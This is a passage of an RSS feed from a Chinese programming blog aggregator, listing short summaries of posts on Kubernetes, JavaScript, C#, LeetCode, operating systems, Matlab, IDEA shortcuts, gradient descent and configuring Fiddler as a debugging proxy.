      <description>1、问题：k8s创建alpine容器时出现Back-off restarting failed container，容器一直进行重启。&#xA;2.原因：对于像ubuntu这样的系统级docker ，用k8s集群启动管理后，会自动关闭，解决方法就是 让其一直在运行，所以在yaml文件中增加command命令即可。&#xA;3.解决：在yaml中添加如下参数：&#xA;command: [ &#34;/bin/bash&#34;, &#34;-c&#34;, &#34;--&#34; ] args: [ &#34;while true; do sleep 30; done;&#34; ] ubuntu.yaml&#xA;apiVersion: extensions/v1beta1 kind: Deployment metadata: name: ubuntu-deploy spec: replicas: 1 template: metadata: labels: name: ubuntu spec: containers: - name: ubuntu-tz command: [&#34;/bin/bash&#34;,&#34;-c&#34;,&#34;--&#34;] args: [&#34;while true; do sleep 30; done;&#34;] securityContext: privileged: true image: ubuntu:16.04 重新进行部署就可以了~~~</description>
    </item>
    <item>
      <title>解决Uncaught (in promise) TypeError: Failed to execute ‘Cache‘ on addAll</title>
      <link>https://bchobby.github.io/posts/5c2c2224b98e598c0ede72ba634dbb90/</link>
      <pubDate>Tue, 08 Jun 2021 11:57:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c2c2224b98e598c0ede72ba634dbb90/</guid>
      <description>问题产生 今天在使用service worker加上 cache storage时，创建一个存储对象cache之后始终 addAll()方法没有在Application 中的cache storage看到被缓存的文件&#xA;排查 其实不知道是什么问题，我这里一直获取不到也没显示这个，等我刷新多次的时候等一等，才看到这个，所以你没看到这个404的话 可以等一下&#xA;我的地址&#xA;改成这个就对了&#xA;我的目录结构是</description>
    </item>
    <item>
      <title>jQuery-each方法</title>
      <link>https://bchobby.github.io/posts/39c2bb335c970e807194538cd937e3c2/</link>
      <pubDate>Tue, 08 Jun 2021 09:35:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39c2bb335c970e807194538cd937e3c2/</guid>
      <description>jQuery-each方法&#xA;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xA;开发工具与关键技术： Adobe Dreamweaver CC 2019&#xA;作者：何振森&#xA;撰写时间：2021/5/6&#xA;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xA;在原生js中有一个方法叫forEach方法，而在jQuery中也有一个类似的方法那就是eash方法，那么它们之间有什么不同？有一个细微的不同，接下来看一下代码吧&#xA;这是原生js的：&#xA;但是，原生的forEach方法只能遍历数组，而不能遍历伪数组&#xA;为什么不能遍历伪数组？看一下下面的代码&#xA;什么是伪数组？&#xA;有0到length-1的属性，并且有length属性&#xA;我上面的代码是不是到满足伪数组的条件？那么让我们看一下运行结果吧&#xA;报错了显示找不到这个方法&#xA;来源这里显示这个方法是错误的，那就证明了forEach方法是不能遍历伪数组的&#xA;接下来，来看一下jQuery写的代码吧！&#xA;需要注意的是：each方法传回来的参数跟js的不同each第一个传回来的是遍历到的元素，而forEach第一个传回来的是索引&#xA;接下来我们来看看一下each方法能不能遍历伪数组吧&#xA;经过实测each是可以遍历伪数组的，注意：each方法遍历伪数组的时候，索引是在前面的&#xA;建议大家以后都使用each方法吧！毕竟比较方便而且还能遍历伪数组</description>
    </item>
    <item>
      <title>C# 教程</title>
      <link>https://bchobby.github.io/posts/50c90c1194859c83e326ba6353494836/</link>
      <pubDate>Tue, 08 Jun 2021 08:27:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50c90c1194859c83e326ba6353494836/</guid>
      <description>C＃ 教程 C＃环境设置使用.NET CLI下载并安装创建一个新的应用运行应用 在 Visual Studio 中创建一个简单的 C# 控制台应用程序创建项目 C # 类和成员类和对象类型参数基类接口枚举 近日开始了C#的学习，粗略来看与Java语法差不多，但是又有很多不同，在这里记录一下学习的内容，本人根据官网教程学习，如有错误请帮忙指出，谢谢。 C＃环境设置 在学习之前第一步是设置开发环境，官网提供了以下备选方案之一：&#xA;使用.NET CLI 使用所选的文本或代码编辑器，参阅.NET教程Hello World 10分钟入门,或直接看以下记录。&#xA;下载并安装 下载.NET SDK(64位)&#xA;下载.NET SDK(32位)&#xA;下载完成之后直接安装，检车所有安装正确，安装完成之后，打开一个新的命令提示符并运行以下命令：&#xA;&amp;gt; dotnet 如果安装成功会提示以下内容：&#xA;Usage: dotnet [options] Usage: dotnet [path-to-application] Options: -h|--help Display help. --info Display .NET information. --list-sdks Display the installed SDKs. --list-runtimes Display the installed runtimes. path-to-application: The path to an application .dll file to execute. 创建一个新的应用 使用如下命令创建应用&#xA;dotnet new console -o myApp 这些命令什么意思？</description>
    </item>
    <item>
      <title>leetcode.494. 目标和---DFS&#43;DP(背包问题)</title>
      <link>https://bchobby.github.io/posts/00058f9b6a5282cd8bb4989c76693572/</link>
      <pubDate>Mon, 07 Jun 2021 16:33:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00058f9b6a5282cd8bb4989c76693572/</guid>
      <description>494. 目标和 给你一个整数数组 nums 和一个整数 target 。&#xA;向数组中的每个整数前添加 ‘+’ 或 ‘-’ ，然后串联起所有整数，可以构造一个 表达式 ：&#xA;例如，nums = [2, 1] ，可以在 2 之前添加 ‘+’ ，在 1 之前添加 ‘-’ ，然后串联起来得到表达式 “+2-1” 。&#xA;返回可以通过上述方法构造的、运算结果等于 target 的不同 表达式 的数目。&#xA;示例 1： 输入：nums = [1,1,1,1,1], target = 3 输出：5 解释：一共有 5 种方法让最终目标和为 3 。 -1 + 1 + 1 + 1 + 1 = 3 +1 - 1 + 1 + 1 + 1 = 3 +1 + 1 - 1 + 1 + 1 = 3 +1 + 1 + 1 - 1 + 1 = 3 +1 + 1 + 1 + 1 - 1 = 3 示例 2： 输入：nums = [1], target = 1 输出：1 提示： 1 &amp;lt;= nums.</description>
    </item>
    <item>
      <title>操作系统基础概念大扫盲 - 操作系统系列（一）(持续更新，争取完整)</title>
      <link>https://bchobby.github.io/posts/37f27a369557e808cac0d9aa9456e533/</link>
      <pubDate>Mon, 07 Jun 2021 14:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37f27a369557e808cac0d9aa9456e533/</guid>
      <description>操作系统基础概念大扫盲 - 操作系统系列（一）(持续更新，争取完整) 文章目录 操作系统基础概念大扫盲 - 操作系统系列（一）(持续更新，争取完整)前言1 - 什么是操作系统？2 - 一个重要概念 — 抽象（自顶向下看操作系统）3 - 操作系统是硬件资源的管理者（自底向上看操作系统）4 - 操作系统的历史5 - 操作系统基本概念（一）进程（二）线程（三）并行和并发（四）系统调用（五）[BIOS](https://baike.baidu.com/item/bios/91424)（六）[BootLoader](https://en.wikipedia.org/wiki/Bootloader)（七）[中断向量表](https://baike.baidu.com/item/%E4%B8%AD%E6%96%AD%E5%90%91%E9%87%8F%E8%A1%A8)（八）实模式和保护模式（九）[原语](https://baike.baidu.com/item/%E5%8E%9F%E8%AF%AD) 参考资料最后的最后 前言 本文旨在扫盲一些概念，对每个概念可能不会深入讲解，博主希望这篇文章不仅是操作系统各种概念的集合体，也是博主自己理解一些东西之后的交流桥梁，算是跟大家一起扫盲，我把自己理解的东西还有一些各路大佬写的比较好的博客都写到了引用框里面了，感谢所有的这些博文作者，好多都是我学习过程中令我茅塞顿开的超级优秀的文章，如果我有说的不对的地方希望大家能在评论区帮我指正，谢谢呐，原创不易，有用的话还望留下赞或者评论。&#xA;1 - 什么是操作系统？ ​ 操作系统(Operation System, OS) 是指控制和管理整个计算机系统的硬件和软件资源，并合理的组织和调度计算机的工作和资源的分配，以提供给用户和其它软件方便的接口和环境，它是计算机系统中最基本的系统软件。&#xA;2 - 一个重要概念 — 抽象（自顶向下看操作系统） 抽象是管理复杂性的一个关键。&#xA;一个好的抽象可以把一个几乎不可能管理的任务划分为两个部分：&#xA;抽象体的定义和实现&#xA;调用抽象体解决问题&#xA;其实仔细思考，操作系统内核其实就是底层硬件的抽象，抽象出来后提供一些API接口供用户使用，使得电脑就像一个黑匣子，程序员只需会调用系统的API接口就可以开发运行在操作系统上的软件，再思考，其实面向对象编程思想的提出，也是抽象的一种体现，把复杂的问题抽象出来并解决是每个程序员毕生的工作。&#xA;3 - 操作系统是硬件资源的管理者（自底向上看操作系统） ​ 现代的计算机包含CPU、存储器、磁盘、鼠标等等硬件资源，从此角度来看，操作系统的任务其实是在相互竞争的程序之间有序地控制这些硬件的资源分配。&#xA;​ 资源管理其实包含以下两个方面：&#xA;时间上复用资源：一种资源在时间上复用时，不同程序/用户轮流使用。例子：CPU的时间片轮询算法。空间上复用资源：一份资源，每个程序/用户都得到资源的一部分。例子：磁盘空间资源的管理。 4 - 操作系统的历史 ​ 1 - 百度百科&#xA;​ 2 - 维基百科&#xA;5 - 操作系统基本概念 （一）进程 ​ 在所有操作系统中，一个重要的概念是进程（process）。&#xA;​ 进程本质上是正在执行的一个程序，与每个进程相关的是进程的地址空间（addressspace），这是从某个最小值的存储位置（通常是零）到某个最大值存储位置的列表。&#xA;​ 在这个地址空间中，进程可以进行读写。该地址空间中存放有可执行程序、程序的数据以及程序的堆栈。</description>
    </item>
    <item>
      <title>什么是URL、绝对URL和相对URL</title>
      <link>https://bchobby.github.io/posts/71699febac6420ef26db5904df068784/</link>
      <pubDate>Mon, 07 Jun 2021 14:54:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71699febac6420ef26db5904df068784/</guid>
      <description>1. URL理解 下面是一些URL的示例：&#xA;https://developer.mozilla.org https://developer.mozilla.org/en-US/docs/Learn/ https://developer.mozilla.org/en-US/search?q=URL 您可以将上面的这些网址输进您的浏览器地址栏来告诉浏览器加载相关联的页面（或资源）。&#xA;一个URL由不同的部分组成，其中一些是必须的，而另一些是可选的。让我们以下面这个URL为例看看其中最重要的部分：&#xA;http://www.example.com:80/path/to/myfile.html?key1=value1&amp;amp;key2=value2#SomewhereInTheDocumentProtocol http 是协议。它表明了浏览器必须使用何种协议。它通常都是HTTP协议或是HTTP协议的安全版，即HTTPS。Web需要它们二者之一，但浏览器也知道如何处理其他协议，比如mailto:（打开邮件客户端）或者 ftp:（处理文件传输），所以当你看到这些协议时，不必惊讶。&#xA;www.example.com 是域名。 它表明正在请求哪个Web服务器。或者，可以直接使用IP address, 但是因为它不太方便，所以它不经常在网络上使用。.&#xA;:80 是端口。 它表示用于访问Web服务器上的资源的技术“门”。如果Web服务器使用HTTP协议的标准端口（HTTP为80，HTTPS为443）来授予其资源的访问权限，则通常会被忽略。否则是强制性的。&#xA;/path/to/myfile.html 是网络服务器上资源的路径。在Web的早期阶段，像这样的路径表示Web服务器上的物理文件位置。如今，它主要是由没有任何物理现实的Web服务器处理的抽象。&#xA;?key1=value1&amp;amp;key2=value2 是提供给网络服务器的额外参数。 这些参数是用 &amp;amp; 符号分隔的键/值对列表。在返回资源之前，Web服务器可以使用这些参数来执行额外的操作。每个Web服务器都有自己关于参数的规则，唯一可靠的方式来知道特定Web服务器是否处理参数是通过询问Web服务器所有者。&#xA;#SomewhereInTheDocument 是资源本身的另一部分的锚点. 锚点表示资源中的一种“书签”，给浏览器显示位于该“加书签”位置的内容的方向。例如，在HTML文档上，浏览器将滚动到定义锚点的位置;在视频或音频文档上，浏览器将尝试转到锚代表的时间。值得注意的是，＃后面的部分（也称为片段标识符）从来没有发送到请求的服务器。&#xA;你可能想到一个URL类似普通信件的地址：协议代表你要使用的邮政服务，域名是城市或者城镇，端口则像邮政编码；路径代表着你的信件所有递送的大楼；参数则提供额外的信息，如大楼所在单元；最后，锚点表示信件的收件人。&#xA;如何使用URL？&#xA;可以直接在浏览器的地址栏里输入任何URL，来获得后台的资源。但是这仅仅是冰山一角。&#xA;2. 绝对URL和相对URL 我们上面看到的是一个绝对的URL，但也有一个叫做相对URL的东西。我们来看看这个区别意味着什么呢？&#xA;URL的必需部分在很大程度上取决于使用URL的上下文。在浏览器的地址栏中，网址没有任何上下文，因此您必须提供一个完整的（或绝对的）URL，就像我们上面看到的一样。您不需要包括协议（浏览器默认使用HTTP）或端口（仅当目标Web服务器使用某些异常端口时才需要），但URL的所有其他部分都是必需的。&#xA;当文档中使用URL时，例如HTML页面中的内容有所不同。因为浏览器已经有文档自己的URL，它可以使用这些信息来填写该文档中可用的任何URL的缺失部分。我们可以通过仅查看URL的路径部分来区分绝对URL和相对URL。如果URL的路径部分以“/”字符开头，则浏览器将从服务器的顶部根目录获取该资源，而不引用当前文档给出的上下文。&#xA;我们来看一些例子来使这个更清楚。&#xA;2.1 绝对URL示例 完整网址（与之前使用的网址相同）&#xA;https://developer.mozilla.org/en-US/docs/Learn 隐去协议&#xA;//developer.mozilla.org/en-US/docs/Learn 在这种情况下，浏览器将使用与用于加载该URL的文档相同的协议来调用该URL。&#xA;隐去域名&#xA;/en-US/docs/Learn 这是HTML文档中绝对URL最常见的用例。浏览器将使用与用于加载托管该URL的文档相同的协议和相同的域名。注意：不可能省略该域名而不省略协议。&#xA;2.2 相对URL示例 为了更好地了解以下示例，我们假设从位于以下URL的文档中调用URL：&#xA;https://developer.mozilla.org/en-US/docs/Learn 子资源&#xA;Skills/Infrastructure/Understanding_URLs 因为该URL不以/开头，浏览器将尝试在包含当前资源的子目录中查找文档。所以在这个例子中，我们真的想要达到这个URL https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs&#xA;回到目录树中&#xA;../CSS/display 在这种情况下，我们使用从UNIX文件系统世界继承的…/写入约定来告诉我们要从一个目录上升的浏览器。在这里，我们要达到以下URL：https://developer.mozilla.org/en-US/docs/Learn/../CSS/display，可以将其简化为：https://developer.mozilla.org/en-US/docs/CSS/display</description>
    </item>
    <item>
      <title>河南省历年高考人数(2004-2021)</title>
      <link>https://bchobby.github.io/posts/f0c24c8b9523ecc7956e9a2a0c99c999/</link>
      <pubDate>Mon, 07 Jun 2021 13:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c24c8b9523ecc7956e9a2a0c99c999/</guid>
      <description> 河南省历年高考人数(2004-2021)&#xA;年份人数（万人）200459.55200572200678200787.88200898.8200995.9201095.24201185.5201280.5201375.8201472.4201577.2201682201786.3201898.32019108.42020115.82021125 </description>
    </item>
    <item>
      <title>node搜索html元素,react怎么查找DOM元素？</title>
      <link>https://bchobby.github.io/posts/d464c1c5fdc5a8df651142aca20ebf03/</link>
      <pubDate>Mon, 07 Jun 2021 13:38:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d464c1c5fdc5a8df651142aca20ebf03/</guid>
      <description>react查找DOM元素的方法&#xA;还是拿一个经典的react实例来说 可能都知道react中没有vue那样的数据双向绑定的效果&#xA;但我们可以通过其他的方式来实现class App extends React.Component {&#xA;constructor(){&#xA;super();&#xA;this.state={value:&#39;&#39;}&#xA;}&#xA;render(){&#xA;return (&#xA;{this.state.value} )&#xA;}&#xA;change(e){&#xA;var div=document.getElementById(&#39;d1&#39;)//第一种方式: 通过原生的dom 操作获取对象&#xA;this.setState({value:div.value})&#xA;this.setState({value:this.refs.d2.value})//第二种方式: 通过 react 自己封装的refs 获取&#xA;this.setState({value:e.target.value}) // 第三种方式 通过 事件对象 获取&#xA;}&#xA;}&#xA;ReactDOM.render(,document.getElementById(&#39;root&#39;))&#xA;总结上面的三种情况就是&#xA;1、原生dom操作 ById ByClassName querySelector 等等&#xA;2、react 自带的 refs 方式 这个官方推荐使用 但不建议使用在事件源上面&#xA;refs多用于React组件内子组件的引用。使用ref获取DOM节点有两种情况：&#xA;(1)子组件为原生DOM组件：获取到的就是这个DOM节点。如下例，this.input就获取到了当前节点。{this.myInput = ref}} /&amp;gt;&#xA;通过this.myInput，我就可以对进行一系列操作，比如让输入框聚焦：this.myInput.focus();&#xA;注：refs也支持字符串格式：&#xA;通过this.refs.myInput获取到节点。&#xA;(2)子组件为React组件，比如：获得的就是的实例，因此就可以调用的实例方法。&#xA;示例：componentDidMount(){&#xA;const myComp = this.refs.myComp; // 获取到的是的实例myComp&#xA;const dom = ReactDOM.</description>
    </item>
    <item>
      <title>vue &#43; d3.js(v6) 绘制【柱状图/条形图】（含动画和交互）</title>
      <link>https://bchobby.github.io/posts/37ce18b441b30a7a825bd022fd65686f/</link>
      <pubDate>Mon, 07 Jun 2021 11:25:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37ce18b441b30a7a825bd022fd65686f/</guid>
      <description>安装d3前提下，以下代码实现柱状图&#xA;&amp;lt;template&amp;gt;&#xA;&amp;lt;div class=&#34;d3Chart&#34;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/template&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;import * as d3 from &#39;d3&#39;;&#xA;export default {&#xA;mounted() {&#xA;// 数据——x轴的标签——城市&#xA;let labelList = [&#34;成都&#34;, &#34;武汉&#34;, &#34;上海&#34;, &#34;北京&#34;, &#34;深圳&#34;]&#xA;// 数据——对应y轴的值——城市人口（万）&#xA;let dataList = [100, 105, 200, 250, 230]&#xA;// 画布的参数&#xA;let mapWidth = 300;&#xA;let mapHeight = 300;&#xA;let mapPadding = 30&#xA;// 定义画布—— 宽 300 高 300 外边距 10px&#xA;let map = d3.select(&#34;.d3Chart&#34;).append(&#34;svg&#34;).attr(&#34;width&#34;, mapWidth).attr(&#34;height&#34;, mapHeight).style(&#34;margin&#34;, &#34;10px&#34;)&#xA;// d3.select(&#34;div&#34;).remove()&#xA;//定义x轴比例尺（序数段比例尺）</description>
    </item>
    <item>
      <title>详解矩阵算法在电商sku组件中的应用一</title>
      <link>https://bchobby.github.io/posts/ee2667315ba191655a7401751c0d4d6c/</link>
      <pubDate>Mon, 07 Jun 2021 10:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee2667315ba191655a7401751c0d4d6c/</guid>
      <description>本文首发于：https://github.com/bigo-frontend/blog/ 欢迎关注、转载。&#xA;前言 在电商里，什么是 sku？&#xA;简单的来说，比如一件裙子，颜色有红色、白色，码数有 XL、XXL，我们选择红色、XL，那这个规格的组合就是一个 sku。&#xA;而 spu 则是指这件裙子，要区分开来。&#xA;以前刚开始接触到这种 sku 选择器，还以为只是简简单单的几个 tab 组合后传给后端，但是等到实际开发才知道这种 sku 选择器，是后端告诉你有什么规格，比如颜色有几种，码数有几种，然后再告诉你有几种组合方式：&#xA;this.product.skuAttrSortedList = [ { &#34;attrName&#34;: &#34;颜色&#34;, &#34;attrNameId&#34;: &#34;1&#34;, &#34;attrValues&#34;: [ &#34;红&#34;, &#34;白&#34; ] }, { &#34;attrName&#34;: &#34;码数&#34;, &#34;attrNameId&#34;: &#34;2&#34;, &#34;attrValues&#34;: [ &#34;XL&#34;, &#34;XXL&#34; ] } ]; this.product.skuList = [ { &#34;showPrice&#34;: &#34;6.00&#34;, &#34;favType&#34;: 1, &#34;skuId&#34;: &#34;1234&#34;, &#34;originalSalePrice&#34;: &#34;12.01&#34;, &#34;salePrice&#34;: &#34;11.01&#34;, &#34;discount&#34;: &#34;-40%&#34;, &#34;saleCurrency&#34;: &#34;USD&#34;, &#34;skuMinVolume&#34;: 1, &#34;skuIncreaseVolume&#34;: 1, &#34;maxBuyVolume&#34;: 99, &#34;skuStatus&#34;: 1, &#34;</description>
    </item>
    <item>
      <title>Spring Boot整合Nacos时遇到 Failed to rename context [logback] as [nacos] 的解决办法</title>
      <link>https://bchobby.github.io/posts/2068e58514ad6e559643d5a9c03e1484/</link>
      <pubDate>Sun, 06 Jun 2021 23:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2068e58514ad6e559643d5a9c03e1484/</guid>
      <description>问题概述 在进行项目开发过程中，通过Spring Boot整合Alibaba Nacos的服务注册与发现和配置中心时，遇到个梗，启动时打印出一串错误日志信息 “ Failed to rename context [logback] as [nacos] java.lang.IllegalStateException: Context has been already given a name ” ，但是不会影响项目的正常运行和使用，&#xA;如下图：&#xA;具体错误信息如下：&#xA;2021-04-21 18:03:57.947 INFO [main]s.d.s.web.PropertySourcedRequestMappingHandlerMapping.initHandlerMethods:69 -Mapped URL path [/v2/api-docs] onto method [springfox.documentation.swagger2.web.Swagger2Controller#getDocumentation(String, HttpServletRequest)] 2021-04-21 18:03:57.982 INFO [main]o.s.scheduling.concurrent.ThreadPoolTaskExecutor.initialize:181 -Initializing ExecutorService &#39;applicationTaskExecutor&#39; 2021-04-21 18:03:58.250 INFO [main]o.s.scheduling.concurrent.ThreadPoolTaskScheduler.initialize:181 -Initializing ExecutorService &#39;Nacso-Watch-Task-Scheduler&#39; 18:03:58,258 |-INFO in ch.qos.logback.core.joran.spi.ConfigurationWatchList@748aa7dc - URL [jar:file:/D:/LOCAL_INSTALLER/apache-maven-3.6.3/.m2/repository/com/alibaba/nacos/nacos-client/1.1.4/nacos-client-1.1.4.jar!/nacos-logback.xml] is not of type file 18:03:58,259 |-INFO in ch.qos.logback.classic.joran.action.ConfigurationAction - debug attribute not set 18:03:58,259 |-INFO in ch.</description>
    </item>
    <item>
      <title>Matlab中randint()、rand()与randi()函数</title>
      <link>https://bchobby.github.io/posts/9ddc237fca1c6fee9f40fa9319b70df0/</link>
      <pubDate>Sun, 06 Jun 2021 20:45:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ddc237fca1c6fee9f40fa9319b70df0/</guid>
      <description>1. randint()使用方法（randint在后期版本中会被randi代替） f = randint(n,m) ：产生一个元素为0或1的n×m的随机矩阵&#xA;f = randint(n,m,[a b])：产生一个n×m，元素是区间[a,b]的随机矩阵&#xA;f = randint(n,m,b)：&#xA;如果b为正数，产生一个n×m，元素是[0,b-1]的随机矩阵&#xA;如果b为负数，产生一个n×m，元素是[b+1,0]的随机矩阵&#xA;在新版本生成元素为0或1的n×m随机矩阵:&#xA;f = round(rand(n,m)) %round 四舍五入&#xA;2. rand()使用方法 （元素均在(0,1)内） X = rand 返回一个在区间 (0,1) 内均匀分布的随机数&#xA;X = rand(n) 返回一个 n×n 的随机数矩阵&#xA;X = rand(n,m) 返回一个 n×m的随机数矩阵&#xA;3. randi()使用方法 X = randi(imax) 返回一个介于 1 和 imax 之间的伪随机整数标量&#xA;X = randi(imax,n) 返回 n×n 矩阵，其中包含从区间 [1,imax] 的均匀离散分布中得到的伪随机整数&#xA;X = randi(imax,n,m) 返回n×m 数组,元素为介于1和imax的随机整数&#xA;X = randi([imin,imax],___) 使用以上任何语法返回一个数组，其中包含从区间 [imin,imax] 的均匀离散分布中得到的整数</description>
    </item>
    <item>
      <title>动力锂电池-二阶RC模型等效电路-RLS参数辨识-Simulink</title>
      <link>https://bchobby.github.io/posts/f382596fe175f93b3b4db21ed69f87e6/</link>
      <pubDate>Sun, 06 Jun 2021 20:05:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f382596fe175f93b3b4db21ed69f87e6/</guid>
      <description> 1.锂电池二阶RC等效电路模型&#xA;二阶RC等效电路模型在Thevenin模型的基础上又串联了一个阻容并联回路，用两个阻容并联回路分别模拟浓差极化和电化学极化，在描述了铿离子电池的非线性特性的同时，更加准确地描述了钦酸铿电芯充放电过程中的极化效应。&#xA;二阶RC等效电路模型可由如下电路方程描述：&#xA;进行拉普拉斯变换，整理可得二阶RC等效电路的频域表达式为：&#xA;使用双线性变换进行离散化：&#xA;2.递推最小二乘辨识算法&#xA;锂电池端电压-端电流&#xA;开路电压-容量曲线&#xA;RLS辨识结果&#xA;辨识效果测试&#xA;局部放大 </description>
    </item>
    <item>
      <title>idea入门玩家必备快捷键</title>
      <link>https://bchobby.github.io/posts/1a76335fb410c1320065ca30f233ecc3/</link>
      <pubDate>Sun, 06 Jun 2021 18:20:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a76335fb410c1320065ca30f233ecc3/</guid>
      <description>idea入门玩家必备快捷键&#xA;初级快捷键，用idea开发必须会&#xA;alt+enter ：错误提示，一招灵，代码飘红先点它&#xA;ctrl+o ：复写方法，实现父类中的方法&#xA;ctrl+alt+t ：surround with，给代码块包围if，while，try catch等&#xA;ctrl+p ：光标定位到方法后面的小括号里，点击次快捷键，可以查看此方法的传入参数类型&#xA;ctrl+y ：删除一行代码&#xA;ctrl+d ：复制一行代码&#xA;shift+enter ：向下插入一行代码&#xA;ctrl+alt+enter ：向上插入一行代码&#xA;ctrl+g ：定位到某一行代码&#xA;ctrl+shift+↑ 或者 ↓ ：光标选择一行代码后面，然后点击这两个快捷键，可以上下移动代码位置&#xA;ctrl+alt+v ：自动补全返回值&#xA;shift+ctrl+enter ：自动补全代码末尾分号&#xA;ctrl+alt+l ：格式化代码&#xA;ctrl+alt+o ：优化导入的包，可以对当前文件和整个包目录使用&#xA;ctrl+alt+f ：提升变量作用域，局部变量提升为属性，经常会用到，很酷的快捷键&#xA;高级快捷键，看源码必备&#xA;ctrl+alt+← 或者 → ：返回上次查看代码位置，下次查看代码位置，看源码必备&#xA;双击shift ：搜索所有 或者ctrl+n 也行&#xA;ctrl+f12 ：查看类中所有方法，直接敲方法名，还可以搜索&#xA;ctrl+h ：查看类或者接口的继承实现关系&#xA;Ctrl+Alt+b ：在接口调用的方法后面，点击，可以列出实现这个方法的具体实现类&#xA;ctrl+shift+h ：查看某个方法的父子类or接口与实现类的重写关系&#xA;ctrl+shift+i ：将光标放在放在方法名上，这个快捷键可以展示出有哪些类实现了此方法，还可以列出代码，必备快捷键&#xA;alt+f7 ：光标需要放在方法名上，可以搜索出哪些类调用了此方法，高级快捷键，必备&#xA;crtl+q ：光标需要放在doc文档注释上，然后可以将doc弹出框来展示</description>
    </item>
    <item>
      <title>随机梯度下降算法学习笔记</title>
      <link>https://bchobby.github.io/posts/386b005345ea11603b569cdd7f8fc423/</link>
      <pubDate>Sun, 06 Jun 2021 10:04:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/386b005345ea11603b569cdd7f8fc423/</guid>
      <description>梯度下降的常用领域：&#xA;线性回归：&#xA;例如：利用线性回归预测不同人口数量的城市下开饭馆的利润趋势。&#xA;损失函数 梯度 Z轴越大，损失越大，也就是我们要从山顶下到山脚。&#xA;可以将梯度理解为下山的方向（损失函数的偏导），当红点到山脚时，得到算法的最优结果。&#xA;梯度下降算法思路：&#xA;while 循环：&#xA;梯度=gradient（θ0，θ1）&#xA;（θ0，θ1）=（θ0，θ1）- 梯度*学习率 // 用减法表示下坡。&#xA;学习率可以理解为下山时步伐的大小，在编程时需要不断调试学习率的大小，太大或者太小都不好。&#xA;太大容易反复横跳；太小步伐太小，计算次数太多。&#xA;最后附上代码：&#xA;import numpy as np import pandas as pd from matplotlib import pyplot as plt path = &#39;C:\\Users\\Administrator\\Desktop\\data.txt&#39; data = pd.read_csv(path, header=None) plt.scatter(data[:][0], data[:][1], marker=&#39;+&#39;) data = np.array(data) m = data.shape[0] theta = np.array([0, 0]) data = np.hstack([np.ones([m, 1]), data]) y = data[:, 2] data = data[:, :2] def cost_function(data, theta, y): cost = np.</description>
    </item>
    <item>
      <title>手把手教你如何配置fiddler、并开启手机代理抓包、最详细</title>
      <link>https://bchobby.github.io/posts/9056838d1ee53a6961f6e7899269dcd6/</link>
      <pubDate>Sun, 06 Jun 2021 09:39:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9056838d1ee53a6961f6e7899269dcd6/</guid>
      <description>配置fiddler 在正常开发中，应用总是要和服务器交互，其中不免要分析服务器返回的数据，以及测试接口，我们要借助抓跑工具类帮助。所谓抓包工具，其实就是一个代理，正常我们访问服务器是直接访问，使用代理后，就是通过代理去访问，而代理会把请求信息和服务器的响应信息抓取下来。&#xA;下面介绍使用fiddler在电脑中的配置以Android成功使用代理连上电脑为目的。&#xA;首先，需要在电脑上下载并安装fiddler&#xA;找到tool工具栏&#xA;点击Https一栏，按照下图里的勾上，目的是为了允许抓包https协议，以及忽略不安全的网址&#xA;点击Https右边的Actions，点击第一个trust root certificate，目的是添加信任证书&#xA;点击Https右边的Actions，点击第二个export root certificate to desktop，目的是添加信任证书到桌面，为了安装证书&#xA;安装证书，傻瓜式安装，一直确认即可&#xA;点击connections，查看电脑上fiddler使用的端口，并允许远程连接(即允许连接电脑)&#xA;配置手机 注意：手机和电脑一定要处于同一个wifi下，手机不可以用流量&#xA;点开所连接wifi的详情，里面有高级选项，找到代理，将无改为手动&#xA;在手机的代理里设置对应的电脑IP和端口号，电脑Ip可以通过电脑的WiFi里详情看见，而端口号就是上文里的fiddler使用的端口号(上面的最后一步)&#xA;手机浏览器输入：https//电脑Ip:端口号 访问，如果无法访问，则关闭电脑的fiddler并重新打开fiddler即可&#xA;成功访问后，会出现下面这个页面，点击下载证书&#xA;最后一步，手机安装证书，找到wifi的高级设置，点击它，并找到安装证书，点击它，找到刚刚下载的证书安装即可&#xA;安装完成后，点击任意需要用到网络的网站啊，软件啊什么的，电脑上的fiddler都能抓包即以成功&#xA;注意：如果出现了一些问题，就重启电脑fiddler，能解决绝大部分问题，博主这里很顺利</description>
    </item>
    <item>
      <title>matlab函数之randn()</title>
      <link>https://bchobby.github.io/posts/ee7e8908441c659baad0bf0a0fc8666b/</link>
      <pubDate>Sat, 05 Jun 2021 22:09:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee7e8908441c659baad0bf0a0fc8666b/</guid>
